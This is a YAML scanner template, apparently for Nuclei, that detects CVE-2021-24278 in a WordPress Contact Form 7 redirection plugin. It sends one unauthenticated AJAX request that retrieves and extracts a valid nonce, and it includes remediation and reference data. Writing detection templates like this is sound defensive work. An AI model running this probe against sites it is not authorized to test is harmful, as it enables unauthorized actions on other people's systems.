59 lines
1.9 KiB
YAML
59 lines
1.9 KiB
YAML
id: CVE-2021-24278
|
|
|
|
info:
|
|
name: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation
|
|
author: 2rs3c
|
|
severity: high
|
|
description: WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
|
|
remediation: |
|
|
Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
|
|
- https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24278
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-24278
|
|
cwe-id: CWE-863
|
|
epss-score: 0.07978
|
|
epss-percentile: 0.93582
|
|
cpe: cpe:2.3:a:querysol:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: querysol
|
|
product: redirection_for_contact_form_7
|
|
framework: wordpress
|
|
tags: wordpress,wp-plugin,wpscan,cve,cve2021
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/wp-admin/admin-ajax.php"
|
|
|
|
body: "action=wpcf7r_get_nonce¶m=wp_rest"
|
|
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- '"success":true'
|
|
- '"nonce":"[a-f0-9]+"'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
regex:
|
|
- '"nonce":"[a-f0-9]+"'
|
|
part: body
|
|
|
|
# digest: 4b0a004830460221009ccdbaeb9942aab7aa1d6fb38606adebf81e8fed9ce2a9d6c21baa9cc780344a022100b6dde28c75d60518b22a09e4d3893624d455f4753fd0bd3e5bac0ba947abad19:922c64590222798bb761d5b6d8e72950
|